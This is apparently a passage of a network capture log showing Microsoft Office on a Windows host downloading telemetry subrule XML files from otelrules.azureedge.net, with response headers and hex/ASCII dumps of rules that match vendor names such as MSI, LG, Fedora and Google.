2024-10-28 18:12:25 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:25 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 2044f02f-601e-0001-42eb-25faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181225Z-17fbfdc98bbnvkgdqtwd2nmyz8000000048g00000000c3pu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:25 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49794	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:25 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:25 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 2ee95feb-501e-0029-5d17-26d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181225Z-17fbfdc98bb2cvg4m0cmab3ecw000000042g00000000b6ff x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:25 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	49796	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:25 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:25 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:25 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 389326c4-a01e-0053-299b-278603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181225Z-r1755647c66trqwgqbys9wk81g00000003vg00000000fx71 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 18:12:25 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	49795	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:25 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:25 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: e7cc90bd-401e-0029-032a-279b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181225Z-17fbfdc98bbh7l5skzh3rekksc00000006rg00000000bkxf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:25 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49797	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:25 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:26 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:25 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 2399187d-801e-008f-5f67-282c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181225Z-17fbfdc98bb8lw78ye6qppf97g00000005wg000000007agm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:26 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	49798	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:26 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:26 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:26 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 2b9d96d3-301e-0020-4e31-276299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181226Z-r1755647c66z67vn9nc21z11a800000004rg00000000d4yn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:26 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	49799	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:26 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:26 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: c417f1b6-b01e-0084-279b-27d736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181226Z-17fbfdc98bbnsg5pw6rasm3q8s00000005vg000000003895 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:26 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	49800	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:26 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:26 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 174f78f2-a01e-0032-607a-281949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181226Z-17fbfdc98bbl4n669ut4r27e08000000053000000000431m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:26 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49801	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:26 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:26 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:26 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: b19a9190-b01e-00ab-7309-28dafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181226Z-17fbfdc98bb9xxzfyggrfrbqmw00000004k000000000g3fd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:26 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	49803	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:27 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:27 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:27 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: d145a723-401e-0067-13b1-2609c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181227Z-17fbfdc98bbjwdgn5g1mr5hcxn00000003d0000000000g53 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 18:12:27 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	49802	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:27 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:27 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: a93e4d9c-801e-0015-6aa4-26f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181227Z-r1755647c66qg7mpa8m0fzcvy000000006k0000000009k92 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:27 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	49804	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:27 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:27 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:27 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 64bb7fc7-f01e-0071-5d6f-28431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181227Z-17fbfdc98bbl4n669ut4r27e080000000540000000001t1p x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:27 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

